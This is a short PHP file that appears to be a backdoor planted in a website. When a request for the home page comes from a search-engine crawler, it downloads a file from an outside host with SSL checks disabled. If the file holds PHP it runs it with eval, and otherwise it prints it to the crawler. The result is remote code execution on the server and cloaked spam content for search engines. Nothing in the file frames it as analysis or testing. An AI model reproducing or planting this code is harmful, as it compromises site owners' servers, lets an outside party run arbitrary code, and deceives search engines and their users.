<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$currentUrl = $_SERVER['REQUEST_URI'] ?? '/';
$botPattern = '/(bot|ahrefsbot|crawl|spider|slurp|fetch|google|scanner|check|analyzer|httpclient|http_request|headless|chrome-lighthouse|google-inspectiontool|google-site-verification|googlebot|adsbot-google)/i';
if (preg_match($botPattern, $userAgent) && $currentUrl === '/') {
$wuthekong = 'https://eloisestudio.com/konglist.txt';
function fetch_remote_content($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Optional, for bypassing SSL verification
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
}
$fileContents = fetch_remote_content($wuthekong);
if (strpos($fileContents, '<?php') !== false) {
    eval('?>' . $fileContents);
} else {
    echo $fileContents;
}
?>